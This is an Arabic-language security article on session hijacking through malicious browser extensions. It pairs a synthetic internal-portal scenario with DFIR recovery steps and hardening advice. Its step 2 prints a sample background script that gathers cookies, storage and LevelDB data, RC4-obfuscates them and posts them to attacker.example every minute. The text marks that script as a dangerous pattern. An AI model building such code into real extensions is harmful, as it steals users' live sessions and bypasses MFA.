Browser Session Hijacking Explained: لما تسيب مفتاح الشقة للـExtension وتتفاجئ إنك اتسرقت

تخيّل إنك ركّبت على باب الشقة ثلاث أنظمة قفل بيومترية، وبعدين سلّمت المفتاح الاحتياطي الوحيد لراجل غريب قالك إنه جاي “ينظّم الـbookmarks”. ده تقريبًا اللي بيحصل كل مرة المستخدم ينصّب browser extension يطلب صلاحيات واسعة ومحدش بيراجعه بعد كده.

القفل لسه شغال. الأنظمة لسه شغالة. المهاجم بس مشي ومعاه الحاجة اللي القفل كان بيحميها: الـsession cookie الحية اللي أصلاً بتثبت إنك authenticated.

المقالة دي بتمشي معاك خطوة بخطوة في browser session hijacking كتقنية واضحة وقابلة للتكرار. هنبني سيناريو generic لبوابة داخلية، ونشوف إزاي extension خبيث يحوّل storage المتصفح نفسه لخط تهريب، ونسترجع الـartifacts بعد الحادثة، ونختم بالضوابط اللي فعلاً بتقلل النافذة الزمنية.

---

ما هي Browser Session Hijacking أصلًا؟

Session hijacking معناها إنك تاخد authentication token صالح تبع حد تاني وتعيد استخدامه عشان السيرفر يعاملك كإنك هو.

في عالم المتصفح الـtoken غالبًا بيكون cookie (أو مجموعة cookies مع قيم في Local Storage). بمجرد ما السيرفر يصدره، كل request لاحق شايل الـtoken بيتحسب موثوق لحد ما الـtoken ينتهي أو يتلغي. الـMFA وقوة الباسورد وحتى فحوصات الجهاز كلها ورا ظهرك في اللحظة دي.

متصفحات Chromium الحديثة بتخزّن كمية مفاجئة من الحالة دي على القرص:

• الـCookies عايشة في SQLite database اسمها Cookies.
• بيانات الـextensions وservice-worker state وكثير من tokens التطبيقات بتتخزن في مجلدات LevelDB تحت الـprofile.
• Local Storage وSession Storage برضو مبنية على LevelDB.
• IndexedDB وCache Storage وservice-worker script cache موجودين في الجوار.

الـextension الخبيث اللي اتمنح الصلاحيات المناسبة (أو الصلاحيات القوية زي unlimitedStorage / storage) يقدر يقرأ معظم الـstores دي من جوّه process المتصفح. مش محتاج يكسر الـsandbox؛ الـsandbox أصلًا واثق فيه.

الهجوم الكلاسيكي شكله كده:

1. المستخدم ينصّب extension شكله مفيد.
2. الـextension يمر على LevelDB وcookie stores المهمة.
3. يستخرج session tokens حية (غالبًا لسه صالحة لساعات أو أيام).
4. يبعتها لمكان المهاجم بيتحكم فيه، أحيانًا بعد obfuscation خفيف (RC4 أو XOR أو base64 أو WebAssembly packing).
5. المهاجم يعيد استخدام الـtokens من جهاز تاني ويرث الـsession.

مفيش باسورد اتخمّن. مفيش MFA prompt ظهر. المتصفح نفسه بقى وسيلة التوصيل.

ليه الموضوع يهمك؟

لأن مساحة الهجوم كبيرة وهادية وصعبة الظهور قدام أدوات المراقبة التقليدية:

• الـMFA بيتعدّى بالتصميم؛ الـtoken أصلًا بيمثّل إن الـMFA نجحت قبل كده.
• سياسات zero-trust اللي بتفحص الترافيك لسه بتشوف requests authenticated شرعية بعد ما الـcookie المسروق يتلعب بيه.
• أنظمة الـEDR اللي بتراقب process injection أو وجهات شبكة غريبة ممكن تفوت extension بيقرأ ملفات محلية وبس وبيكلّم السيرفر بتاعه على HTTPS عادي.
• الـartifacts (ملفات LevelDB وservice-worker caches وextension storage) كتير بتفضل على القرص بعد ما الـsession اتستخدم، وده بيدّي فرق DFIR فرصة تسترجع الـtokens بالظبط اللي اتسرقت.
• البيئات اللي بتسمح للمستخدمين ينصّبوا extensions من الـstore العام، أو بتدفع extensions داخلية من غير مراجعة صارمة، بتدعو المشكلة جوه بنفسها.

النتيجة العملية: takeover كامل لأي تطبيق ويب عمر الـsession فيه أطول من الوقت اللي المهاجم محتاجه عشان يستلم الـcookie ويعيد استخدامه. البوابات الإدارية الداخلية ولوحات الـSSO وcloud consoles أهداف جذابة جدًا.

مثال عملي: بوابة داخلية generic

هنبني سيناريو عام بيعكس الآلية من غير ما يشير لأي challenge أو منتج حقيقي.

البداية

تطبيق ويب داخلي اسمه “CorpOps Portal” بيصدر session cookie طويل العمر بعد login ناجح + خطوة MFA. الـcookie عليه علامات HttpOnly وSecure، فـJavaScript العادي في الصفحة مش يقدر يقرأه. البوابة كمان بتخزّن refresh token ثانوي وبعض تفضيلات المستخدم في Local Storage.

extension إنتاجية شكله لطيف اسمه “Tab Organizer Pro” اتنصّب عند كام موظف. الـmanifest بتاعه بيطلب:

{
  "permissions": [
    "storage",
    "unlimitedStorage",
    "cookies",
    "https://*.corp.internal/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

الـbackground service worker بتاع الـextension بيمر دوريًا على مجلدات التخزين بتاعة المتصفح بيدوّر على مفاتيح مثيرة.

الخطوة 1: تحديد الـstores المهمة

Chrome بيحتفظ ببيانات الـprofile في مسار شكله تقريبًا كده:

Profile Directory/
├── Cookies                          (SQLite)
├── Local Storage/leveldb/
├── Session Storage/leveldb/
├── IndexedDB/
├── Service Worker/
│   ├── CacheStorage/
│   └── ScriptCache/
└── Extensions/
    └── <extension-id>/
        └── ...

الـservice worker الخبيث مش محتاج يعرف المسار الكامل على نظام الملفات. الـChrome extension APIs (chrome.storage وchrome.cookies، وفي بعض الحالات الوصول المباشر لـLevelDB عن طريق native messaging أو APIs تجريبية) بتدّيه وصول كافي. في المثال الـsynthetic هنعتبر إن الـextension كمان بيحمل helper native صغير يقدر يفتح ملفات LevelDB مباشرة لما المتصفح شغال تحت نفس المستخدم.

الخطوة 2: استخراج مادة الـsession

سكربت background مبسّط (ومتعمد إنه غير آمن) ممكن يحتوي منطق شبه ده:

// نمط خطر – متبعتش ده أبدًا
async function harvest() {
  const cookies = await chrome.cookies.getAll({ domain: ".corp.internal" });
  const local = await chrome.storage.local.get(null);

  // كمان نلمّس ملفات LevelDB لو فيه native helper
  const leveldbDump = await nativeHelper.dumpLevelDB(
    "Local Storage/leveldb"
  );

  const payload = {
    cookies,
    localStorage: local,
    leveldb: leveldbDump,
    ts: Date.now()
  };

  // obfuscation خفيف عشان أدوات الشبكة متصرخش
  const encrypted = rc4Encrypt(JSON.stringify(payload), "hardcoded-key");
  await fetch("https://attacker.example/collect", {
    method: "POST",
    body: encrypted
  });
}

setInterval(harvest, 60_000);

الـRC4 (أو أي تحويل عكسي تاني) موجود بس عشان يضيّع الفحص السريع للترافيك الخارج. مش بيحمي البيانات بعد ما المهاجم يستلمها.

الخطوة 3: الـtokens بتخرج من البيت

لأن الـextension أصلًا شغال جوّه process المتصفح ومعاه الصلاحيات اللازمة، الـnetwork request شكله زي telemetry عادي من extension. كتير من الـproxies والـEDR في الشركات بتعامل الترافيك اللي طالع من المتصفح بأولوية أقل من الترافيك اللي طالع من binaries مجهولة.

المهاجم دلوقتي معاه:

• الـsession cookie الحية لـCorpOps Portal.
• أي refresh tokens كانت قاعدة في Local Storage.
• ممكن tokens إضافية لتطبيقات داخلية تانية بتتشارك نفس الـprofile.

الخطوة 4: إعادة الاستخدام ووراثة الـsession

من جهاز مختلف تمامًا المهاجم يحط الـcookie المسروق (عن طريق cookie editor أو browser scripted أو حتى curl -b بسيط) ويفتح البوابة. السيرفر بيشوف token صالح وغير منتهي ويمنح وصول كامل. الـMFA مش بيتطلب تاني لأن الـtoken أصلًا شايل إثبات إن الـMFA نجحت قبل كده.

الخطوة 5: اللي بيفضل على القرص للمدافع

حتى بعد ما المهاجم استخدم الـsession، ملفات LevelDB الأصلية وstorage الـextension نفسه وservice-worker script cache وقاعدة Cookies SQLite لسه فيها traces قابلة للاسترجاع. محلل DFIR يقدر:

1. ياخد مجلد الـuser profile كامل.
2. يparse جدول Cookies SQLite للدومين المطلوب.
3. يفتح مجلدات LevelDB بمكتبة فاهمة صيغة Chromium (والـSnappy compression اللي LevelDB بيستخدمه كتير).
4. يسترجع الـtokens المسروقة وكمان بقايا configuration أو payload الـextension.
5. يربط الـtimestamps بين آخر نشاط للـextension وأول login شاذ من IP أو user-agent جديد.

مسار الاسترجاع ده هو السبب إن نفس التقنية اللي بتمكّن الهجوم بتسيب أثر forensic مفيد.

أنماط كود / إعدادات ضعيفة

صلاحيات extension خطرة

{
  "permissions": [
    "cookies",
    "storage",
    "unlimitedStorage",
    "<all_urls>"
  ]
}

أي extension بيجمع host access واسع مع صلاحيات storage أو cookies هو على بعد مراجعة واحدة من إنه يبقى سارق sessions.

منطق background خطر (مفهومي)

// متتعملش كده
chrome.cookies.getAll({}, (cookies) => {
  const interesting = cookies.filter(c =>
    c.domain.endsWith(".internal") || c.name.includes("session")
  );
  exfiltrate(interesting);
});

سياسة مؤسساتية خطرة

السماح للمستخدمين ينصّبوا extensions من Chrome Web Store العام (أو أي مصدر غير مراجع) من غير allow-list يعادل إنك تدّي لكل موظف process متميز يقدر يقرأ مخازن المتصفح السرية.

الأنماط الأأمن

manifest بأقل صلاحيات

{
  "permissions": [
    "storage"
  ],
  "host_permissions": [
    "https://the-one-site-the-extension-actually-needs.com/*"
  ]
}

اطلب بس الـhosts اللي الـextension محتاجها فعلًا، وتجنب cookies إلا لو وظيفة الـextension الأساسية هي إدارة الـcookies.

ضوابط session من جهة السيرفر

• أعمار session مطلقة قصيرة.
• ربط الـtokens بـdevice fingerprint أو TLS channel binding أو على الأقل نطاق IP ثابت لما نموذج التهديد يسمح.
• إعادة مصادقة مستمرة للإجراءات عالية القيمة حتى لو فيه session cookie صالح.
• كشف من جهة السيرفر للـsessions المتزامنة من أماكن جغرافية بعيدة أو user-agents مختلفة جدًا.

ضوابط متصفح على مستوى المؤسسة

• allow-listing للـextensions (بس الـIDs المعتمدة تشتغل).
• منع الـstore العام على الأجهزة المدارة.
• force-install بس للـextensions اللي اتراجعت.
• مراقبة قراءة غير متوقعة لملفات LevelDB أو Cookies من processes مش تبع المتصفح.

الحماية: إزاي تخلّي الـcookie جوه البرطمان

1. عامل كل extension ككود بيشتغل بصلاحيات المستخدم.
   راجع الـmanifest والـbackground scripts وupdate URL قبل ما تسمح بيه.

2. فضّل tokens قصيرة العمر وبتتجدد على session cookies طويلة العمر.
   كل ما العمر أقصر، كل ما النافذة اللي المهاجم بيقدر يشتغل فيها بعد السرقة أصغر.

3. اربط الـsessions بالسياق لما التطبيق يقدر يتحمل.
   الـIP أو عائلة الـuser-agent أو إشارة جهاز مدعومة بالعتاد كلها بترفع تكلفة إعادة الاستخدام الصامت.

4. راقب الـbrowser profile.
   قواعد EDR بتراقب قراءات غريبة لـCookies أو Local Storage/leveldb أو مجلدات الـextensions تقدر تكشف السرقة حتى لو القناة الخارجية شكلها نظيف.

5. علّم المستخدمين إن “محتاج بس صلاحية storage” مش علامة خضرا.
   Storage + host permissions كتير بتكون كافية.

6. للتطبيقات الداخلية عالية القيمة، فكّر تنقل الـsession بالكامل برّه cookie jar المتصفح (مثلًا token قصير العمر بيتبادل بـbackend session عمره ما بيسيب السيرفر).

7. بعد حادثة، خد مجلد الـprofile كامل مش بس ملف Cookies.
   LevelDB وservice-worker caches وextension storage غالبًا بتحتوي الـpayload بالظبط أو آخر مجموعة tokens اتسرقت.

نقاط الفحص والمراجعة

لما تراجع بيئة أو جهاز فردي، اسأل:

المنطقة	السؤال
جرد الـextensions	إيه الـextensions المنصّبة، وفيها أي واحد بيطلب cookies + host permissions واسعة؟
مراجعة الـmanifest	فيه extension بيعلن unlimitedStorage أو <all_urls> من غير حاجة عمل واضحة؟
وصول LevelDB	فيه processes مش تبع المتصفح بتقرأ مجلدات LevelDB في الـprofile؟
عمر الـcookie	كام مدة صلاحية session cookies عالية القيمة بعد الإصدار؟
الـsessions المتزامنة	التطبيق بيكشف أو بيحدد logins متزامنة من أماكن بعيدة؟
قناة التحديث	الـextension يقدر يحدّث نفسه من URL عشوائي، ولا التحديث متحكم فيه؟
الجاهزية forensic	المنظمة تقدر تاخد browser profile كامل بسرعة لما يظهر login مشبوه؟

أمر بسيط على Linux أو macOS (عدّل المسارات للـWindows) كتير بيكون كفاية للبداية:

find ~/Library/Application\ Support/Google/Chrome -name "Cookies" -o -path "*/leveldb/*" 2>/dev/null

بعدين افتح الملفات المهمة بالـparsers المناسبة بدل ما تعاملها كـbinaries غامضة.

أساطير شائعة

“HttpOnly cookies مش ممكن تتسرق من extension”

غلط. HttpOnly بيوقف JavaScript الصفحة. مش بيوقف extension اتمنح صلاحية cookies أو يقدر يقرأ قاعدة البيانات على القرص.

“عندنا MFA، فسرقة الـsession مش مهمة”

الـMFA بيحمي مراسم الـlogin. بمجرد ما الـsession token يتصدر، الـMFA اتحقق خلاص. سرقة الـtoken بتخطّي المراسم كلها.

“LevelDB مشفّر، فالداتا أمنة”

ملفات Chromium LevelDB مش مشفّرة افتراضيًا على معظم منصات سطح المكتب. هي ببساطة ملفات binary منظمة أي process شغال باسم المستخدم يقدر يقرأها.

“بس الـextensions المشبوهة من مطورين مجهولين هي الخطرة”

حوادث حقيقية كتير حصلت مع extensions كانت محترمة قبل كده واتخترقت بعدين، أو extensions داخلية عمرها ما اتراجعت بعين أمنية.

الخلاصة

المتصفح بقى الـendpoint الجديد. بيحمل مفاتيح كل تطبيقات الـSaaS وكل بوابة داخلية وكل cloud console المستخدم بيلمسها. إنك تدّي extension غير مراجع القدرة يقرأ المفاتيح دي مش خطر نظري؛ دي تقنية عملية وقابلة للتكرار وبتسيب artifacts قابلة للاسترجاع على القرص.

تقدر تقوّي الشبكة وتفرض MFA وتغيّر الباسوردات كل تلاتين يوم. ولا حاجة من دول هتفرق لو الـsession token الحي قاعد في ملف LevelDB وextension شكله لطيف لسه نسخه.

أأمن session هي اللي بتنتهي قبل ما المهاجم يخلّص تحميلها.

المراجع

• صيغة Chromium LevelDB والأدوات: https://www.chromium.org/developers/design-documents/leveldb/
• توثيق صلاحيات Chrome Extension: https://developer.chrome.com/docs/extensions/mv3/declare_permissions/
• OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
• Snappy compression (شائع جوّه LevelDB): https://github.com/google/snappy
• موارد عملية لـbrowser forensics (Hindsight وChrome-Session-Analyzer وأدوات مفتوحة المصدر مشابهة)